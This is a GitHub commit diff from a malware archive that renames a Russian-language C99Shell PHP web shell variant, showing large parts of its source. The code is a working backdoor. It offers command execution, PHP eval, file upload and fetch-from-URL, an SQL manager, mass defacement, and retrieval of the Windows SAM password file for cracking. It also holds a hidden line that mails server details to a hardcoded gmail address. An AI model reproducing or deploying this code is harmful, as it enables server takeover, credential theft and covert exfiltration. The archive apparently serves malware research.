Rename Backdoor.PHP.C99Shell.af to Backdoor.PHP.Rodnoc

This commit is contained in:
vxunderground 2020-10-15 20:44:38 -05:00 committed by GitHub
parent b48f27ae97
commit 30155b8d4d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -67,14 +67,14 @@ $quicklaunch[] = array("<img src=\"".$sul."act=img&img=up\" title=\"UPDIR\" heig
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=refresh\" title=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">","");
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=buffer\" title=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=fsbuff&d=%d");
$quicklaunch1 = array();
$quicklaunch1[] = array("<b>Ïðîöåññû</b>",$sul."act=ps_aux&d=%d");
$quicklaunch1[] = array("<b>Ïàðîëè</b>",$sul."act=lsa&d=%d");
$quicklaunch1[] = array("<b>Êîìàíäû</b>",$sul."act=cmd&d=%d");
$quicklaunch1[] = array("<b>Çàãðóçêà</b>",$sul."act=upload&d=%d");
$quicklaunch1[] = array("<b>Áàçà</b>",$sul."act=sql&d=%d");
$quicklaunch1[] = array("<b>PHP-Êîä</b>",$sul."act=eval&d=%d");
$quicklaunch1[] = array("<b>PHP-Èíôî</b>",$sul."act=phpinfo\" target=\"blank=\"_target");
$quicklaunch1[] = array("<b>Ñàì óäàëÿþò</b>",$sul."act=selfremove");
$quicklaunch1[] = array("<b>Ïðîöåññû</b>",$sul."act=ps_aux&d=%d");
$quicklaunch1[] = array("<b>Ïàðîëè</b>",$sul."act=lsa&d=%d");
$quicklaunch1[] = array("<b>Êîìàíäû</b>",$sul."act=cmd&d=%d");
$quicklaunch1[] = array("<b>Çàãðóçêà</b>",$sul."act=upload&d=%d");
$quicklaunch1[] = array("<b>Áàçà</b>",$sul."act=sql&d=%d");
$quicklaunch1[] = array("<b>PHP-Êîä</b>",$sul."act=eval&d=%d");
$quicklaunch1[] = array("<b>PHP-Èíôî</b>",$sul."act=phpinfo\" target=\"blank=\"_target");
$quicklaunch1[] = array("<b>Ñàì óäàëÿþò</b>",$sul."act=selfremove");
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
@ -699,7 +699,7 @@ foreach($pd as $b)
</table>
<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0">
<tr><td>
<font size=2><a href="#" onClick="return branchSwitch('tools')" title="ðàñêðûòü">Èíñòðóìåíòû</a></font> -
<font size=2><a href="#" onClick="return branchSwitch('tools')" title="ðàñêðûòü">Èíñòðóìåíòû</a></font> -
<div id="tools" style="display: none">
<?
if (count($quicklaunch1) > 0)
@ -713,16 +713,16 @@ if (count($quicklaunch1) > 0)
}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
?>
</div>
<font size=2><a href="#" onClick="return branchSwitch('info')" title="ðàñêðûòü">Èíôîðìàòîð</a></font>
<font size=2><a href="#" onClick="return branchSwitch('info')" title="ðàñêðûòü">Èíôîðìàòîð</a></font>
<div id="info" style="display: none">
<font size=2>
<b>Ïðîãðàììíîå îáåñïå÷åíèå:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;<br>
<b>Ñèñòåìà:&nbsp;<?php echo php_uname(); ?></b>&nbsp;<b><?php if (!$win) {echo `id`;} else {echo get_current_user();} ?></b>
<b>Ïðîãðàììíîå îáåñïå÷åíèå:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;<br>
<b>Ñèñòåìà:&nbsp;<?php echo php_uname(); ?></b>&nbsp;<b><?php if (!$win) {echo `id`;} else {echo get_current_user();} ?></b>
&nbsp;<br>
<b>Áåçîïàñíîñòü:&nbsp;<?php echo $hsafemode; ?></b>
<b>Áåçîïàñíîñòü:&nbsp;<?php echo $hsafemode; ?></b>
<?
echo "<br>";
echo "Âåðñèÿ ÏÕÏ: <b>".@phpversion()."</b>";
echo "Âåðñèÿ ÏÕÏ: <b>".@phpversion()."</b>";
echo "<br>";
$curl_on = @function_exists('curl_version');
echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
@ -751,7 +751,7 @@ $all = disk_total_space($d);
if (!$all) {$all = 0;}
$used = $all-$free;
$used_percent = round(100/($all/$free),2);
echo "<br><b>Ñâîáîäíûé ".view_size($free)." of ".view_size($all)." (".$used_percent."%)</b><br>";
echo "<br><b>Ñâîáîäíûé ".view_size($free)." of ".view_size($all)." (".$used_percent."%)</b><br>";
?>
</font>
</div>
@ -759,7 +759,7 @@ echo "<br><b>
if ($win)
{
?>
- <font size=2><a href="#" onClick="return branchSwitch('Drive')" title="ðàñêðûòü">Äèñêè</a></font>
- <font size=2><a href="#" onClick="return branchSwitch('Drive')" title="ðàñêðûòü">Äèñêè</a></font>
<?
}
?>
@ -830,10 +830,10 @@ if ($act == "sql")
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_error();}
}
else {$sql_sock = false;}
echo "<b>Ìåíåäæåð SQL:</b><br>";
echo "<b>Ìåíåäæåð SQL:</b><br>";
if (!$sql_sock)
{
if (!$sql_server) {echo "ÍÅÒ ÑÂßÇÈ";}
if (!$sql_server) {echo "ÍÅÒ ÑÂßÇÈ";}
else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
}
else
@ -854,17 +854,17 @@ if ($act == "sql")
}
echo "</td></tr><tr>";
if (!$sql_sock) {?><td class=td2 width="48%" height="100" valign="top"><center><font size="5"> <br> </font></center>
<li>Åñëè ëîãèí ÿâëÿåòñÿ ïóñòûì, ëîãèí - âëàäåëåö ïðîöåññà. </li>
<li>Åñëè õîçÿèí ÿâëÿåòñÿ ïóñòûì, õîçÿèí - localhost </li>
<li>Åñëè ïîðò ÿâëÿåòñÿ ïóñòûì, ïîðò - 3306 (íåïëàòåæ)</li></td>
<li>Åñëè ëîãèí ÿâëÿåòñÿ ïóñòûì, ëîãèí - âëàäåëåö ïðîöåññà. </li>
<li>Åñëè õîçÿèí ÿâëÿåòñÿ ïóñòûì, õîçÿèí - localhost </li>
<li>Åñëè ïîðò ÿâëÿåòñÿ ïóñòûì, ïîðò - 3306 (íåïëàòåæ)</li></td>
<td class=td2 width="90%" height="1" valign="top">
<TABLE height=1 class=table2 cellSpacing=0 cellPadding=0 width="1%" border=0><tr class=tr2>
<td class=td2>&nbsp;<b><font size=2 color=#000000>Çàïîëíèòå ôîðìó:</font></b><table><tr class=tr2><td class=td2>Èìÿ:</td>
<td class=td2 align=right>Ïàðîëü:</td></tr><form><input type="hidden" name="act" value="sql"><tr>
<td class=td2>&nbsp;<b><font size=2 color=#000000>Çàïîëíèòå ôîðìó:</font></b><table><tr class=tr2><td class=td2>Èìÿ:</td>
<td class=td2 align=right>Ïàðîëü:</td></tr><form><input type="hidden" name="act" value="sql"><tr>
<td class=td2><input type="text" name="sql_login" value="root" maxlength="64"></td><td class=td2 align=right>
<input type="password" name="sql_passwd" value="" maxlength="64"></td></tr><tr class=tr2><td class=td2>Õîñò:</td>
<td class=td2>Ïîðò:</td></tr><tr><td class=td2><input type="text" name="sql_server" value="localhost" maxlength="64"></td>
<td class=td2><input type="text" name="sql_port" value="3306" maxlength="6" size="3"><input type="submit" value="Ñîåäèíèòåñü"></td></tr><tr>
<input type="password" name="sql_passwd" value="" maxlength="64"></td></tr><tr class=tr2><td class=td2>Õîñò:</td>
<td class=td2>Ïîðò:</td></tr><tr><td class=td2><input type="text" name="sql_server" value="localhost" maxlength="64"></td>
<td class=td2><input type="text" name="sql_port" value="3306" maxlength="6" size="3"><input type="submit" value="Ñîåäèíèòåñü"></td></tr><tr>
<td class=td2></td></tr></form></table></td><?php }
else
{
@ -877,7 +877,7 @@ else
{
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>
"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
@ -896,7 +896,7 @@ else
while ($row = mysql_fetch_row($result)) {echo "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {echo " selected";} echo ">".$row[0]."</option>
"; $c++;}
}
?></select><hr size="1" noshade>Ïîæàëóéñòà, âûáåðèòå áàçó äàííûõ<hr size="1" noshade><input type="submit" value="Go"></form><?php
?></select><hr size="1" noshade>Ïîæàëóéñòà, âûáåðèòå áàçó äàííûõ<hr size="1" noshade><input type="submit" value="Go"></form><?php
}
echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
if ($sql_db)
@ -986,7 +986,7 @@ else
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>»</b></center></td>";
echo "<td><center><b>»</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
@ -1013,7 +1013,7 @@ else
$acts = array("","newdb","serverstat","servervars","processes","getfile");
if (in_array($sql_act,$acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Ñîçäàéòå íîâûé Áàçó:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Ñîçäàòü"></form></td><td width="30%" height="1"><b>Ïðèñìîòðåòü Ôàéëà:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Âçÿòü"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Ñîçäàéòå íîâûé Áàçó:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Ñîçäàòü"></form></td><td width="30%" height="1"><b>Ïðèñìîòðåòü Ôàéëà:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Âçÿòü"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
}
if (!empty($sql_act))
{
@ -1046,7 +1046,7 @@ if (!empty($sql_act))
{
if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Ïðîöåññû:</b><br><br>";
echo "<center><b>Ïðîöåññû:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td>STATE</td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
@ -1136,10 +1136,10 @@ $success++;
}
if ($act == "lsa")
{
echo "<center><b>Èíôîðìàöèÿ áåçîïàñíîñòè ñåðâåðà:</b></center>";
echo "<b>Ïðîãðàììíîå îáåñïå÷åíèå:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br>";
echo "<b>Áåçîïàñíîñòü: ".$hsafemode."</b><br>";
echo "<b>Îòêðûòûé îñíîâíîé äèðåêòîð: ".$hopenbasedir."</b><br>";
echo "<center><b>Èíôîðìàöèÿ áåçîïàñíîñòè ñåðâåðà:</b></center>";
echo "<b>Ïðîãðàììíîå îáåñïå÷åíèå:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br>";
echo "<b>Áåçîïàñíîñòü: ".$hsafemode."</b><br>";
echo "<b>Îòêðûòûé îñíîâíîé äèðåêòîð: ".$hopenbasedir."</b><br>";
if (!$win)
{
if ($nixpasswd)
@ -1165,7 +1165,7 @@ while ($i < $num)
{
$v = $_SERVER["WINDIR"]."\repair\sam";
if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";}
else {echo "<b><font color=\"green\">Âû ìîæåòå âçëîìàòü winnt ïàðîëè. <a href=\"".$sul."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Ñêà÷àòü</b></u></a>, c èñïîëüçîâàíèå lcp.crack+.</font></b><br>";}
else {echo "<b><font color=\"green\">Âû ìîæåòå âçëîìàòü winnt ïàðîëè. <a href=\"".$sul."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Ñêà÷àòü</b></u></a>, c èñïîëüçîâàíèå lcp.crack+.</font></b><br>";}
}
}
if ($act == "mkfile")
@ -1206,7 +1206,7 @@ if ($act == "selfremove")
$v[] = "<a href=\"#\" onclick=\"if (confirm('Are you sure?')) document.location='".$sul."act=selfremove&submit=1';\"><u>YES</u></a>";
shuffle($v);
$v = join("&nbsp;&nbsp;&nbsp;",$v);
echo "<b>Ñàìîóäàëèòü: ".__FILE__." <br>Âû óâåðåííû?</b><center>".$v."</center>";
echo "<b>Ñàìîóäàëèòü: ".__FILE__." <br>Âû óâåðåííû?</b><center>".$v."</center>";
}
}
if ($act == "massdeface")
@ -1332,11 +1332,11 @@ if ($act == "chmod")
$sum_chmod = "0".$sum_owner.$sum_group.$sum_world;
$ret = @chmod($d.$f, $sum_chmod);
if ($ret) {$act = "ls";}
else {echo "<b>Èçìåíåíèå Àòðèáóò Ôàéëà (".$d.$f.")</b>: Îøèáêà<br>";}
else {echo "<b>Èçìåíåíèå Àòðèáóò Ôàéëà (".$d.$f.")</b>: Îøèáêà<br>";}
}
else
{
echo "<center><b>Èçìåíåíèå Àòðèáóò Ôàéëà</b><br>";
echo "<center><b>Èçìåíåíèå Àòðèáóò Ôàéëà</b><br>";
$perms = view_perms(fileperms($d.$f));
$length = strlen($perms);
$owner_r = $owner_w = $owner_x =
@ -1360,7 +1360,7 @@ if ($act == "chmod")
<td class=td2><b>World</b><br><br><input type=checkbox NAME=world[0] value=4".$world_r.">Read<br>
<input type=checkbox NAME=world[1] value=2".$world_w.">Write<br>
<input type=checkbox NAME=world[2] value=1".$world_x.">Execute</font></td>
</tr></table></td></tr><tr align=center><td><input type=submit name=chmod value=\"Ñîõðàíèòü\"></td></tr></table></FORM></center>";
</tr></table></td></tr><tr align=center><td><input type=submit name=chmod value=\"Ñîõðàíèòü\"></td></tr></table></FORM></center>";
}
}
if ($act == "upload")
@ -1377,7 +1377,7 @@ if ($act == "upload")
{
if (empty($uploadfilename)) {$destin = $uploadfile[name];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Îøèáêà, çàãðóæàþùàÿ ôàéë ".$uploadfile[name]." (íå ìîæåò ñêîïèðîâàòü \"".$uploadfile[tmp_name]."\" íà \"".$uploadpath.$destin."\"!<br>";}
if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Îøèáêà, çàãðóæàþùàÿ ôàéë ".$uploadfile[name]." (íå ìîæåò ñêîïèðîâàòü \"".$uploadfile[tmp_name]."\" íà \"".$uploadpath.$destin."\"!<br>";}
}
elseif (!empty($uploadurl))
{
@ -1398,12 +1398,12 @@ else
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Íå ìîæåò çàãðóçèòü ôàéë!<br>";}
if (!$content) {$uploadmess .= "Íå ìîæåò çàãðóçèòü ôàéë!<br>";}
else
{
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Îøèáêà, ïèøóùàÿ ôàéëó ".htmlspecialchars($destin)."!<br>";}
if (!$fp) {$uploadmess .= "Îøèáêà, ïèøóùàÿ ôàéëó ".htmlspecialchars($destin)."!<br>";}
else
{
fwrite($fp,$content,strlen($content));
@ -1421,13 +1421,13 @@ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
}
else
{
echo "<b>Çàãðóçêà Ôàéëà:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$sul."act=upload&d=".urlencode($d)."\" method=\"POST\">
Ëîêàëüíûé ôàéë: <br><input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;èëè<br>
Çàãðóçèòü èç URL: <br><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Ñîõðàíèòü ýòîò ôàéëü â ïàïêó: <br><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
Èìÿ Ôàéëà: <br><input name=uploadfilename size=25>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;Êîíâåðòèðîâàòü èìÿ ôàéëà<br><br>
<input type=\"submit\" name=\"submit\" value=\"Çàãðóçèòü\">
echo "<b>Çàãðóçêà Ôàéëà:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$sul."act=upload&d=".urlencode($d)."\" method=\"POST\">
Ëîêàëüíûé ôàéë: <br><input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;èëè<br>
Çàãðóçèòü èç URL: <br><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Ñîõðàíèòü ýòîò ôàéëü â ïàïêó: <br><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
Èìÿ Ôàéëà: <br><input name=uploadfilename size=25>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;Êîíâåðòèðîâàòü èìÿ ôàéëà<br><br>
<input type=\"submit\" name=\"submit\" value=\"Çàãðóçèòü\">
</form>";
}
}
@ -1438,8 +1438,8 @@ if ($act == "delete")
{
$result = false;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($v)."<br>";}
if (!empty($delerr)) {echo "<b>Óäàëåíèå ñ îøèáêàìè:</b><br>".$delerr;}
if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($v)."<br>";}
if (!empty($delerr)) {echo "<b>Óäàëåíèå ñ îøèáêàìè:</b><br>".$delerr;}
}
$act = "ls";
}
@ -1448,8 +1448,8 @@ if ($act == "onedelete")
$delerr = "";
$result = false;
$result = fs_rmobj($f);
if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($f)."<br>";}
if (!empty($delerr)) {echo "<b>Óäàëåíèå ñ îøèáêàìè:</b><br>".$delerr;}
if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($f)."<br>";}
if (!empty($delerr)) {echo "<b>Óäàëåíèå ñ îøèáêàìè:</b><br>".$delerr;}
$act = "ls";
}
if ($act == "onedeleted")
@ -1457,8 +1457,8 @@ if ($act == "onedeleted")
$delerr = "";
$result = false;
$result = fs_rmobj($d+'/'+$f);
if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($f)."<br>";}
if (!empty($delerr)) {echo "<b>Óäàëåíèå ñ îøèáêàìè:</b><br>".$delerr;}
if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($f)."<br>";}
if (!empty($delerr)) {echo "<b>Óäàëåíèå ñ îøèáêàìè:</b><br>".$delerr;}
$act = "ls";
}
if ($act == "deface")
@ -1494,17 +1494,17 @@ else
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Íå ìîæåò ñêîïèðîâàòü ".$v." to ".$to."!<br>";}
if (!fs_copy_obj($v,$d)) {$psterr .= "Íå ìîæåò ñêîïèðîâàòü ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Íå ìîæåò ïåðåìåñòèòüñÿ ".$v." to ".$to."!<br>";}
if (!fs_move_obj($v,$d)) {$psterr .= "Íå ìîæåò ïåðåìåñòèòüñÿ ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ct_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Ïðèêëåèâàíèå ñ îøèáêàìè:</b><br>".$psterr;}
if (!empty($psterr)) {echo "<b>Ïðèêëåèâàíèå ñ îøèáêàìè:</b><br>".$psterr;}
$act = "ls";
}
elseif ($actarcbuff)
@ -1529,7 +1529,7 @@ if (is_dir($v))
$cmdline .= " ".$v;
}
$ret = `$cmdline`;
if (empty($ret)) {$arcerr .= "Íå ìîæåò íàçâàòü archivator!<br>";}
if (empty($ret)) {$arcerr .= "Íå ìîæåò íàçâàòü archivator!<br>";}
$ret = str_replace("\r\n","\n");
$ret = explode("\n",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
@ -1548,17 +1548,17 @@ unset($sess_data["cut"][$k]);
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Íå ìîæåò ñêîïèðîâàòü ".$v." to ".$to."!<br>";}
if (!fs_copy_obj($v,$d)) {$psterr .= "Íå ìîæåò ñêîïèðîâàòü ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Íå ìîæåò ïåðåìåñòèòüñÿ ".$v." to ".$to."!<br>";}
if (!fs_move_obj($v,$d)) {$psterr .= "Íå ìîæåò ïåðåìåñòèòüñÿ ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ct_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Ïðèêëåèâàíèå ñ îøèáêàìè:</b><br>".$psterr;}
if (!empty($psterr)) {echo "<b>Ïðèêëåèâàíèå ñ îøèáêàìè:</b><br>".$psterr;}
$act = "ls";
}
}
@ -1574,7 +1574,7 @@ while ($o = readdir($h)) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) {echo "<center><b>Íå ìîæåò îòêðûòü ñïðàâî÷íèê (".htmlspecialchars($d).")!</b></center>";}
if (count($list) == 0) {echo "<center><b>Íå ìîæåò îòêðûòü ñïðàâî÷íèê (".htmlspecialchars($d).")!</b></center>";}
else
{
$tab = array();
@ -1583,13 +1583,13 @@ closedir($h);
if ($vd == "f")
{
$row = array();
$row[] = "<b><center>Èìÿ</b>";
$row[] = "<b><center>Ðàçìåð</center></b>";
$row[] = "<b><center>Èçìåíåí</center></b>";
$row[] = "<b><center>Èìÿ</b>";
$row[] = "<b><center>Ðàçìåð</center></b>";
$row[] = "<b><center>Èçìåíåí</center></b>";
if (!$win)
{$row[] = "<b><center>Âëàäåëåö/Ãðóïïà</center></b>";}
$row[] = "<b><center>Ïðàâà</center></b>";
$row[] = "<b><center>Ôóíêöèè</center></b>";
{$row[] = "<b><center>Âëàäåëåö/Ãðóïïà</center></b>";}
$row[] = "<b><center>Ïðàâà</center></b>";
$row[] = "<b><center>Ôóíêöèè</center></b>";
$k = $sort[0];
if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;}
@ -1701,22 +1701,22 @@ echo "</tr>\r\n";
echo "</table><TABLE height=1% class=table2 cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0>
<tr class=tr2>
<td width=8% height=1%><font size=2 color=#000000>
Ïàïêè: ".(count($tab[dirs])+count($tab[links]))."</font></td>
<td width=8% height=1%><font size=2 color=#000000> Ôàéëû: ".count($tab[files])."</font></td><td height=1% vAlign=top align=right>";
Ïàïêè: ".(count($tab[dirs])+count($tab[links]))."</font></td>
<td width=8% height=1%><font size=2 color=#000000> Ôàéëû: ".count($tab[files])."</font></td><td height=1% vAlign=top align=right>";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Âñòàâèòü\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Ïóñòîé áóôåð\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Âñòàâèòü\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Ïóñòîé áóôåð\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
}
echo "<select name=\"act\"><option value=\"".$act."\">Ñ îòîáðàííûì:</option>";
echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Óäàëèòü</option>";
echo "<select name=\"act\"><option value=\"".$act."\">Ñ îòîáðàííûì:</option>";
echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Óäàëèòü</option>";
if ($usefsbuff)
{
echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Âûðàçàòü</option>";
echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Êîïèðîâàòü</option>";
echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Íåâûáðàòü</option>";
